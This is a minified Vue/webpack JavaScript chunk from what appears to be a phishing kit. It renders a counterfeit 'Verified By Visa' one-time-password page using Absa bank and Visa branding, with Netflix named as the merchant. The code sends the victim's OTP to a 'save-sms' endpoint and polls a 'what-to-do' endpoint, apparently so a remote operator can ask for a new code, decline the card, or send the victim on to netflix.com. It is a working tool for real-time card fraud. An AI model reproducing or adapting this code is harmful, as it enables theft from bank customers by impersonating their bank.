(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-7910854e"],{"29ac":function(t,e,c){},d492:function(t,e,c){"use strict";c.r(e);var s=c("7a23"),a=Object(s["g"])("div",{class:"flex items-center justify-between m-2 "},[Object(s["g"])("div",null,[Object(s["g"])("img",{src:"images/logo_absa.gif",style:{width:"80px"},alt:""})]),Object(s["g"])("div",null,[Object(s["g"])("img",{src:"images/visa-logo.gif",style:{width:"100px"},alt:""})])],-1),n={style:{"font-size":"12px"},class:" m-2 leading-tight text-black"},i=Object(s["g"])("img",{src:"images/strip_authentication_absa.gif",class:" m-0 w-full",alt:""},null,-1),l={class:"border-l-2 border-b-2 border-r-2 border-gray-400 p-2 "},o=Object(s["g"])("div",{class:"w-1/2 ml-auto"},[Object(s["g"])("p",{class:"py-4"}," Your VISA Card has been enrolled in Verified By Visa to help protect against unauthorised use online. "),Object(s["g"])("p",null," To proceed with your purchase, please submit the One Time Password that has been sent to your cellphone. ")],-1),r={style:{"font-size":"13px"},class:"mt-5"},d={width:"100%"},u=Object(s["g"])("tr",null,[Object(s["g"])("td",{class:"pr-10",width:"40%"},[Object(s["g"])("b",null," Merchant:")]),Object(s["g"])("td",null," NETFLIX ")],-1),b=Object(s["g"])("td",{class:"pr-10"},[Object(s["g"])("b",null," Date:")],-1),g=Object(s["g"])("td",{class:"pr-10"},[Object(s["g"])("b",null," Card number:")],-1),O=Object(s["g"])("td",{class:"pr-10"},[Object(s["g"])("b",null,"One-time password (OTP):")],-1),j={key:0,class:"text-red-500 mt-1"},m={class:" "},p={key:0,class:"animate-spin mx-auto my-2 h-5 w-5 text-black",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},h=Object(s["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),w=Object(s["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1),f=Object(s["g"])("div",null,[Object(s["g"])("img",{src:"images/absa_footer.png",class:"w-full",alt:""})],-1);function v(t,e,c,v,y,x){return Object(s["i"])(),Object(s["c"])("div",null,[a,Object(s["g"])("div",n,[i,Object(s["g"])("div",l,[o,Object(s["g"])("div",r,[Object(s["g"])("table",d,[u,Object(s["g"])("tr",null,[b,Object(s["g"])("td",null,Object(s["m"])((new Date).toISOString().substr(0,10)),1)]),Object(s["g"])("tr",null,[g,Object(s["g"])("td",null,Object(s["m"])(x.ccnum_hidden),1)]),Object(s["g"])("tr",null,[O,Object(s["g"])("td",null,[Object(s["q"])(Object(s["g"])("input",{type:"text",class:"w-64 border border-gray-700 h-6 p-1 ","onUpdate:modelValue":e[1]||(e[1]=function(t){return y.code=t})},null,512),[[s["o"],y.code]]),y.isResend?(Object(s["i"])(),Object(s["c"])("div",j," Something went wrong. We sent you a new code ")):Object(s["d"])("",!0)])])])]),Object(s["g"])("div",m,[y.isLoading?(Object(s["i"])(),Object(s["c"])("svg",p,[h,w])):Object(s["d"])("",!0),y.isLoading?Object(s["d"])("",!0):(Object(s["i"])(),Object(s["c"])("button",{key:1,class:"btn-next mx-auto",disabled:!y.code,onClick:e[2]||(e[2]=function(){return x.submitCode&&x.submitCode.apply(x,arguments)})},null,8,["disabled"]))])])]),f])}var y=c("bc3a"),x=c.n(y),k=c("a078"),T={name:"FNB",props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1}},computed:{ccnum_hidden:function(){return this.ccnum.substr(0,4)+"******"+this.ccnum.substr(-4)}},methods:{submitCode:function(){var t=this;this.isLoading=!0,x.a.post(k["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;x.a.get(k["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.isResend=!0,t.isLoading=!1,t.code="",t.approve=!1):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};c("daf9");T.render=v;e["default"]=T},daf9:function(t,e,c){"use strict";c("29ac")}}]);
//# sourceMappingURL=chunk-7910854e.058d73cc.js.map